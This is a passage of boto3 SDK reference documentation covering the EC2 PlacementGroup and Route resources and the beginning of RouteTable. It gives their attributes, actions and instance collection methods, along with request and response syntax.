+These are the resource's available attributes: + +- [group_id](#EC2.PlacementGroup.group_id "EC2.PlacementGroup.group_id") +- [group_name](#EC2.PlacementGroup.group_name "EC2.PlacementGroup.group_name") +- [partition_count](#EC2.PlacementGroup.partition_count "EC2.PlacementGroup.partition_count") +- [state](#EC2.PlacementGroup.state "EC2.PlacementGroup.state") +- [strategy](#EC2.PlacementGroup.strategy "EC2.PlacementGroup.strategy") +- [tags](#EC2.PlacementGroup.tags "EC2.PlacementGroup.tags") + +These are the resource's available actions: + +- [delete()](#EC2.PlacementGroup.delete "EC2.PlacementGroup.delete") +- [get_available_subresources()](#EC2.PlacementGroup.get_available_subresources "EC2.PlacementGroup.get_available_subresources") +- [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") +- [reload()](#EC2.PlacementGroup.reload "EC2.PlacementGroup.reload") + +These are the resource's available collections: + +- [instances](#EC2.PlacementGroup.instances "EC2.PlacementGroup.instances") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The PlacementGroup's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +group_id + +- _(string) --_ + + The ID of the placement group. + + +group_name + +- _(string) --_ + + The name of the placement group. + + +partition_count + +- _(integer) --_ + + The number of partitions. Valid only if **strategy** is set to partition . + + +state + +- _(string) --_ + + The state of the placement group. + + +strategy + +- _(string) --_ + + The placement strategy. + + +tags + +- _(list) --_ + + Any tags applied to the placement group. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified placement group. You must terminate all instances in the placement group before you can delete the placement group. For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeletePlacementGroup) + +**Request Syntax** + +response = placement_group.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = placement_group.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = placement_group.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = placement_group.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = placement_group.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = placement_group.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = placement_group.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = placement_group.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +[Route](#id1248) +-------------------------------------------------------- + +_class_ EC2.Route(_route_table_id_, _destination_cidr_block_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Route: + +import boto3 + +ec2 = boto3.resource('ec2') +route = ec2.Route('route_table_id','destination_cidr_block') + +Parameters + +- **route_table_id** (_string_) -- The Route's route_table_id identifier. This **must** be set. +- **destination_cidr_block** (_string_) -- The Route's destination_cidr_block identifier. This **must** be set. + +These are the resource's available identifiers: + +- [route_table_id](#EC2.Route.route_table_id "EC2.Route.route_table_id") +- [destination_cidr_block](#EC2.Route.destination_cidr_block "EC2.Route.destination_cidr_block") + +These are the resource's available attributes: + +- [carrier_gateway_id](#EC2.Route.carrier_gateway_id "EC2.Route.carrier_gateway_id") +- [destination_ipv6_cidr_block](#EC2.Route.destination_ipv6_cidr_block "EC2.Route.destination_ipv6_cidr_block") +- [destination_prefix_list_id](#EC2.Route.destination_prefix_list_id "EC2.Route.destination_prefix_list_id") +- [egress_only_internet_gateway_id](#EC2.Route.egress_only_internet_gateway_id "EC2.Route.egress_only_internet_gateway_id") +- [gateway_id](#EC2.Route.gateway_id "EC2.Route.gateway_id") +- [instance_id](#EC2.Route.instance_id "EC2.Route.instance_id") +- [instance_owner_id](#EC2.Route.instance_owner_id "EC2.Route.instance_owner_id") +- [local_gateway_id](#EC2.Route.local_gateway_id "EC2.Route.local_gateway_id") +- [nat_gateway_id](#EC2.Route.nat_gateway_id "EC2.Route.nat_gateway_id") +- [network_interface_id](#EC2.Route.network_interface_id "EC2.Route.network_interface_id") +- [origin](#EC2.Route.origin "EC2.Route.origin") +- [state](#EC2.Route.state "EC2.Route.state") +- [transit_gateway_id](#EC2.Route.transit_gateway_id "EC2.Route.transit_gateway_id") +- [vpc_peering_connection_id](#EC2.Route.vpc_peering_connection_id "EC2.Route.vpc_peering_connection_id") + +These are the resource's available actions: + +- [delete()](#EC2.Route.delete "EC2.Route.delete") +- [get_available_subresources()](#EC2.Route.get_available_subresources "EC2.Route.get_available_subresources") +- [replace()](#EC2.Route.replace "EC2.Route.replace") + +These are the resource's available sub-resources: + +- [RouteTable()](#EC2.Route.RouteTable "EC2.Route.RouteTable") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +route_table_id + +_(string)_ The Route's route_table_id identifier. This **must** be set. + +destination_cidr_block + +_(string)_ The Route's destination_cidr_block identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_gateway_id + +- _(string) --_ + + The ID of the carrier gateway. + + +destination_ipv6_cidr_block + +- _(string) --_ + + The IPv6 CIDR block used for the destination match. + + +destination_prefix_list_id + +- _(string) --_ + + The prefix of the AWS service. + + +egress_only_internet_gateway_id + +- _(string) --_ + + The ID of the egress-only internet gateway. + + +gateway_id + +- _(string) --_ + + The ID of a gateway attached to your VPC. + + +instance_id + +- _(string) --_ + + The ID of a NAT instance in your VPC. + + +instance_owner_id + +- _(string) --_ + + The AWS account ID of the owner of the instance. + + +local_gateway_id + +- _(string) --_ + + The ID of the local gateway. + + +nat_gateway_id + +- _(string) --_ + + The ID of a NAT gateway. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +origin + +- _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + +state + +- _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + +transit_gateway_id + +- _(string) --_ + + The ID of a transit gateway. + + +vpc_peering_connection_id + +- _(string) --_ + + The ID of a VPC peering connection. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified route from the specified route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRoute) + +**Request Syntax** + +response = route.delete( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR range for the route. The value you specify must match the CIDR for the route exactly. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace(kwargs_) + +Replaces an existing route within a route table in a VPC. You must provide only one of the following: internet gateway, virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRoute) + +**Request Syntax** + +response = route.replace( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + LocalTarget=True|False, + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR address block used for the destination match. The value that you provide must match the CIDR of an existing route in the table. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway. +- **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. +- **LocalTarget** (_boolean_) -- Specifies whether to reset the local route to its default target (local ). +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- [IPv4 traffic only] The ID of a carrier gateway. +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Returns + +None + +Sub-resources + +Sub-resources are methods that create a new instance of a child resource. This resource's identifiers get passed along to the child. For more information about sub-resources refer to the [_Resources Introduction Guide_](../../guide/resources.html#subresources-intro). + +RouteTable() + +Creates a RouteTable resource.: + +route_table = route.RouteTable() + +Return type + +[EC2.RouteTable](#EC2.RouteTable "EC2.RouteTable") + +Returns + +A RouteTable resource + +[RouteTable](#id1249) +------------------------------------------------------------------ + +_class_ EC2.RouteTable(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTable: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table = ec2.RouteTable('id') + 